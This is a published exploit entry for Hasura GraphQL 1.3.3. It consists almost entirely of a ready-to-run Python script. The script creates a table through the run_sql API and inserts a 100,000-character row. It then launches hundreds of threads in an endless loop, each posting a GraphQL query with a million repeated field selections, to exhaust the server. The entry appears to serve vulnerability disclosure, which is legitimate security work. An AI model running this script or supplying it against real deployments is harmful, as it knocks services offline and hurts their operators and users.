[dos] Hasura GraphQL 1.3.3 - Denial of Service

# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 # Author: Dolev Farhi # Date: 4/19/2021 # Tested on: Ubuntu import sys import requests import threading HASURA_SCHEME = 'http' HASURA_HOST = '192.168.1.1' HASURA_PORT = 80 THREADS = 300 def create_table(): data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]} endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT) r = requests.post(endpoint, json=data) return r def insert_row(): bomb = 'A' * 100000 data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}} endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT) r = requests.post(endpoint, json=data) return r def DoS(): dups = 'test \n ' * 1000000 data = {'query': 'query { test_db { ' + dups + '} }'} endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT) r = requests.post(endpoint, json=data) return r if not create_table().ok: print('something went wrong, could not create table.') sys.exit(1) if not insert_row().ok: print('something went wrong, could not insert row') sys.exit(1) while True: for _ in range(THREADS): print('Starting') t = threading.Thread(target=DoS, args=()) t.start()